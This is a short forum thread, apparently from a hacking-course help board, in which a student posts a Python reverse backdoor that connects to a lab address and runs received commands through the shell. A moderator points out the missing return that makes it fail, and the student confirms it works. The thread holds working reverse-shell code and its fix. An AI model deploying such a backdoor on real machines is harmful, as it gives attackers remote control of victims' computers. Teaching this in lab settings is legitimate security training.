Viewing 4 posts - 1 through 4 (of 4 total)
  • Author
    Posts
  • #41413
    Peter QueenPeter Queen
    Participant

    Hello,

    I am having problem with executing command remotely. My kali connection works fine and I am able to establish connection but as soon as I type a command I get an error on the Windows target machine.

    This is the reverse backdoor code I run on the target machine:

    #!/usr/bin/env python
    
    import socket
    import subprocess
    
    def execute_system_command(command):
        subprocess.check_output(command, shell=True)
    
        
    connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connection.connect(("10.0.2.15", 4444))
    
    while True:
    	command = connection.recv(1024)
    	command_result = execute_system_command(command)
    	connection.send(command_result)
    
    connection.close()

    and this is the error I get:

    
    C:\Users\IEUser\Python>C:\Python27\python.exe reverse_backdoor.py
    Traceback (most recent call last):
      File "reverse_backdoor.py", line 15, in <module>
        connection.send(command_result)
    TypeError: send() argument 1 must be string or buffer, not None

    I tried to Google a solution but I could not solve it.

    Thanks

    #41424
    diegodiego
    Moderator

    Hi Peter!
    You are nor returning the result of subprocess module in your function:
    def execute_system_command(command):
    subprocess.check_output(command, shell=True)

    You are just calling the module, so you need to return it’s output, if you don’t understand what I’m saying will recommend to watch the lecture again.

    Let me know how it goes!
    Diego

    #41485
    Peter QueenPeter Queen
    Participant

    Sort thanks Diego!, just added return

    #41560
    diegodiego
    Moderator

    Hi Peter!
    Cool you got it!
    Diego

Viewing 4 posts - 1 through 4 (of 4 total)
  • You must be logged in to reply to this topic.